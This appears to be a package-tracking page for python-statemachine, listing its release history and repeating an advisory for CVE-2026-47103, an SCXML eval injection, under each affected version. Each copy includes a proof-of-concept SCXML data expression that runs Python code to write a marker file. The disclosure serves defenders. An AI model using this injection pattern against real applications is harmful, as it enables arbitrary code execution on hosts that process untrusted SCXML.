python-statemachine

Version	Released
`3.2.1` patch	Aug 01, 2026
`3.2.0` minor	Jun 17, 2026
`3.1.2` patch 1 CVE	May 19, 2026
`3.1.1` patch 1 CVE	May 16, 2026
`3.1.0` minor 1 CVE	May 15, 2026
`3.0.0` major 1 CVE	Feb 24, 2026
`2.6.0` minor	Feb 13, 2026
`2.5.0` minor	Dec 03, 2024
`2.4.0` minor	Nov 05, 2024
`2.3.6` patch	Sep 11, 2024
`2.3.5` patch	Sep 08, 2024
`2.3.4` patch	Jul 11, 2024
`2.3.3` patch	Jul 03, 2024
`2.3.2` patch	Jul 01, 2024
`2.3.1` patch	Jun 10, 2024
`2.3.0` minor	Jun 07, 2024
`2.2.0` minor	May 07, 2024
`2.1.2` patch	Oct 06, 2023
`2.1.1` patch	Aug 03, 2023
`2.1.0` minor	Jun 12, 2023
`2.0.0` major	Mar 05, 2023
`1.0.3` patch	Jan 27, 2023
`1.0.2` patch	Jan 13, 2023
`1.0.1` patch	Jan 12, 2023
`1.0.0` major	Jan 12, 2023
`0.9.0` minor	Dec 21, 2022
`0.8.0` minor	Jan 23, 2020
`0.7.1` patch	Jan 17, 2019
`0.7.0` minor	Apr 01, 2018
`0.6.2` patch	Aug 25, 2017
`0.6.1` patch	Aug 25, 2017
`0.6.0` minor	Aug 25, 2017
`0.5.1` patch	Jul 24, 2017
`0.5.0` minor	Jul 13, 2017
`0.4.4` patch	Jul 10, 2017
`0.4.3` patch	Jul 10, 2017
`0.4.2` minor	Jul 10, 2017
`0.3.1` patch	Mar 27, 2017
`0.3.0` minor	Mar 23, 2017
`0.2.0` minor	Mar 22, 2017
`0.1.0` initial	Mar 22, 2017

3.2.1 patch

Aug 01, 2026

3.2.0 minor

Jun 17, 2026

3.1.2 patch

1 CVE

CVE-2026-47103 PYSEC-2026-506 GHSA-v4jc-pm6r-3vj8 Jun 29, 2026

python-statemachine SCXML <data expr> Eval Injection

Critical

Network Low None None

Summary

python-statemachine 3.1.2 evaluates <data expr="..."> attributes in SCXML documents using Python's eval(). Any application that passes attacker-controlled SCXML content to SCXMLProcessor is vulnerable to arbitrary code execution in the context of the hosting process.

Details

SCXMLProcessor.parse_scxml_file() processes SCXML documents and evaluates <data> element expr attributes via the following call chain:

SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
 create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()

_eval() calls Python's built-in eval() directly on the expression string without sandboxing or restriction.

PoC

1. Install:
   pip install python-statemachine==3.1.2

2. Create an SCXML file containing:
   <data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>

 3. Run:
   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
   SCXMLProcessor.start()
 
4. During start(), <data expr> reaches _eval(), which calls eval().

5. Result:
   data_marker_before_start: False
   data_marker_after_start: True
   success: True

Impact

This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.1.2

Fixed in


          3.2.0

References

Updated Jul 01, 2026 · Source: OSV.dev

May 19, 2026

3.1.1 patch

1 CVE

CVE-2026-47103 PYSEC-2026-506 GHSA-v4jc-pm6r-3vj8 Jun 29, 2026

python-statemachine SCXML <data expr> Eval Injection

Critical

Network Low None None

Summary

python-statemachine 3.1.2 evaluates <data expr="..."> attributes in SCXML documents using Python's eval(). Any application that passes attacker-controlled SCXML content to SCXMLProcessor is vulnerable to arbitrary code execution in the context of the hosting process.

Details

SCXMLProcessor.parse_scxml_file() processes SCXML documents and evaluates <data> element expr attributes via the following call chain:

SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
 create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()

_eval() calls Python's built-in eval() directly on the expression string without sandboxing or restriction.

PoC

1. Install:
   pip install python-statemachine==3.1.2

2. Create an SCXML file containing:
   <data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>

 3. Run:
   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
   SCXMLProcessor.start()
 
4. During start(), <data expr> reaches _eval(), which calls eval().

5. Result:
   data_marker_before_start: False
   data_marker_after_start: True
   success: True

Impact

This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.1.2

Fixed in


          3.2.0

References

Updated Jul 01, 2026 · Source: OSV.dev

May 16, 2026

3.1.0 minor

1 CVE

CVE-2026-47103 PYSEC-2026-506 GHSA-v4jc-pm6r-3vj8 Jun 29, 2026

python-statemachine SCXML <data expr> Eval Injection

Critical

Network Low None None

Summary

python-statemachine 3.1.2 evaluates <data expr="..."> attributes in SCXML documents using Python's eval(). Any application that passes attacker-controlled SCXML content to SCXMLProcessor is vulnerable to arbitrary code execution in the context of the hosting process.

Details

SCXMLProcessor.parse_scxml_file() processes SCXML documents and evaluates <data> element expr attributes via the following call chain:

SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
 create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()

_eval() calls Python's built-in eval() directly on the expression string without sandboxing or restriction.

PoC

1. Install:
   pip install python-statemachine==3.1.2

2. Create an SCXML file containing:
   <data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>

 3. Run:
   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
   SCXMLProcessor.start()
 
4. During start(), <data expr> reaches _eval(), which calls eval().

5. Result:
   data_marker_before_start: False
   data_marker_after_start: True
   success: True

Impact

This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.1.2

Fixed in


          3.2.0

References

Updated Jul 01, 2026 · Source: OSV.dev

May 15, 2026

3.0.0 major

1 CVE

CVE-2026-47103 PYSEC-2026-506 GHSA-v4jc-pm6r-3vj8 Jun 29, 2026

python-statemachine SCXML <data expr> Eval Injection

Critical

Network Low None None

Summary

python-statemachine 3.1.2 evaluates <data expr="..."> attributes in SCXML documents using Python's eval(). Any application that passes attacker-controlled SCXML content to SCXMLProcessor is vulnerable to arbitrary code execution in the context of the hosting process.

Details

SCXMLProcessor.parse_scxml_file() processes SCXML documents and evaluates <data> element expr attributes via the following call chain:

SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
 create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()

_eval() calls Python's built-in eval() directly on the expression string without sandboxing or restriction.

PoC

1. Install:
   pip install python-statemachine==3.1.2

2. Create an SCXML file containing:
   <data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>

 3. Run:
   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
   SCXMLProcessor.start()
 
4. During start(), <data expr> reaches _eval(), which calls eval().

5. Result:
   data_marker_before_start: False
   data_marker_after_start: True
   success: True

Impact

This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.1.2

Fixed in


          3.2.0

References

Updated Jul 01, 2026 · Source: OSV.dev

Feb 24, 2026

2.6.0 minor

Feb 13, 2026

2.5.0 minor

Dec 03, 2024

2.4.0 minor

Nov 05, 2024

2.3.6 patch

Sep 11, 2024

2.3.5 patch

Sep 08, 2024

2.3.4 patch

Jul 11, 2024

2.3.3 patch

Jul 03, 2024

2.3.2 patch

Jul 01, 2024

2.3.1 patch

Jun 10, 2024

2.3.0 minor

Jun 07, 2024

2.2.0 minor

May 07, 2024

2.1.2 patch

Oct 06, 2023

2.1.1 patch

Aug 03, 2023

2.1.0 minor

Jun 12, 2023

2.0.0 major

Mar 05, 2023

1.0.3 patch

Jan 27, 2023

1.0.2 patch

Jan 13, 2023

1.0.1 patch

Jan 12, 2023

1.0.0 major

Jan 12, 2023

0.9.0 minor

Dec 21, 2022

0.8.0 minor

Jan 23, 2020

0.7.1 patch

Jan 17, 2019

0.7.0 minor

Apr 01, 2018

0.6.2 patch

Aug 25, 2017

0.6.1 patch

Aug 25, 2017

0.6.0 minor

Aug 25, 2017

0.5.1 patch

Jul 24, 2017

0.5.0 minor

Jul 13, 2017

0.4.4 patch

Jul 10, 2017

0.4.3 patch

Jul 10, 2017

0.4.2 minor

Jul 10, 2017

0.3.1 patch

Mar 27, 2017

0.3.0 minor

Mar 23, 2017

0.2.0 minor

Mar 22, 2017

0.1.0 initial

Mar 22, 2017

Activity

Details